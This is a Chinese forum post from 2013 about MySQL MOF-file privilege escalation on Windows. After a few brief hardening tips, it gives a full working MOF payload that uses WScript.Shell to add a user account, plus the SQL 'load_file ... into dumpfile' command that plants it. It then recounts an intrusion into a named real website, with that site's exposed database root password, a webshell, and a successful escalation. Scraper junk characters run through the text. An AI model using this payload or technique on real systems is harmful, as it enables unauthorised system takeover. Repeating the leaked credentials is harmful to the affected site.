找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2374|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
1 \6 s0 m4 _9 U  G) |, v( P9 c+ M4 N' l3 ^
网上公开的一些利用代码:) h. A( e+ y* x: T) S

2 x' q% D3 Q# G3 c% n: e#pragma namespace(“\\\\.\\root\\subscription”)% h; f3 M+ A# ?
3 ?& N% u" ^& B/ w3 F. Y" W
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };# J6 h. i. X* V

4 Z! q0 j# B+ K8 O: A1 t. J
( h/ N+ x) R! l) E$ w4 Z* N1 D4 z9 t$ ~2 m
! F: V/ V% f1 |0 D

. d- ?1 n+ W2 x3 a' o/ s0 Q连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;* s0 ]& j; x: |) o  _
从上面代码来看得出解决办法:
5 b( J. T) X/ e0 Y8 s' B
$ h# q$ H- c! a6 W) R1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数& k1 O4 ?, i1 K% n# m) F
7 w- g/ D3 }! x9 j- v
2、禁止使用”WScript.Shel”组件
. u' C  ~" j2 ?1 `3 k$ [/ x( a- r9 `; S6 m
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER  I+ K$ G, Q, E

. n& L- k3 A' u/ F当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下! F+ n# [) L# W) ^

9 \, E; Z. y3 {8 J! B) S, Z4 ^' U事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权* `0 K# a8 t5 B5 }: O8 ?5 j
5 N9 {3 T$ M: Y$ J( f  C( c
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容* D1 q$ g- \/ r  r: m5 x
* c  x+ ^. `# s/ A8 W3 }2 U
看懂了后就开始练手吧
+ Q+ i" c0 c( h% k
0 S8 m/ u( k9 R( U2 z4 hhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
9 p  x5 z% {  I/ p1 ]& f# P" b5 }6 W* w; t: e4 I0 Z& X. G
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。+ Y  {4 U' i( Z8 s

* i. p9 g. ?' E; \于是直接用菜刀开搞) r; W$ i' \0 |* O( N% h8 c

, u1 N+ W, }! g! {2 m  ]" k( v9 i上马先( H# w& Q& y" K, _( }( O
  ?! U5 w$ [0 Z! g- _( W
既然有了那些账号 之类的 于是我们就执行吧…….( }& P) |2 F* y( t" j" W" r
- X; i& I' [* [1 L# S* f. c7 W
小小的说下2 N2 v% I( o9 J
. k) h+ e+ w# }
在这里第1次执行未成功        原因未知7 D8 S* f. _* |. b9 c, U5 ~' f

6 r9 c& |) O" u( o% x8 k3 L4 T  z我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
0 G# w0 M# |" R4 y9 d) t& D1 [  Y. I2 W  V
#pragma namespace(“\\\\.\\root\\subscription”)( P' }1 T% J- Z5 [: c* v+ M

( m+ ^7 @* W8 E8 Z, O2 [instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
  E4 u" d9 [" M6 f2 T
! _* z; }: W# o, r+ U7 R) R) |我是将文件放到C:\WINDOWS\temp\1.mof. X1 y, K3 t7 _3 a1 h0 L

: z7 |. P% P( T' y; |, j9 z: u所以我们就改下执行的代码' @2 P$ q4 u6 b! e

: B. C4 _' \- l1 Tselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;) _2 ]( w" J6 ^; C3 P

( l. X- A- p3 R/ t8 i' J
/ C. \+ M! z1 X  K: H3 h) Y) j8 N1 \/ r' U. m! A. q6 [
但是 你会发现账号还是没有躺在那里。。1 p& G& L( i! E
2 N- G* Z( U7 ?, M0 E
于是我就感觉蛋疼. M$ H. H- e. p2 h! j) y3 V# H

* l6 w* m0 s& B! f* A* I( H就去一个一个去执行 但是执行到第2个 mysql时就成功了………3 A( W. w8 V/ e4 @
. K' c; k  r6 V

6 x3 u5 J3 }5 Q2 C4 S
2 Q& I+ K# n. e! P- t. W, y但是其他库均不成功…. r1 _8 ^6 }" H, g8 e0 D9 y& G
' v  Q8 g# y4 {: v- C
我就很费解呀 到底为什么不成功求大牛解答…
5 F( x: a2 }$ A: b8 @8 Y# x1 [4 v& L; c
$ X" k) Z( z+ [3 Y- X" d  K
; i4 j! B/ U6 @( }/ U( T4 h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表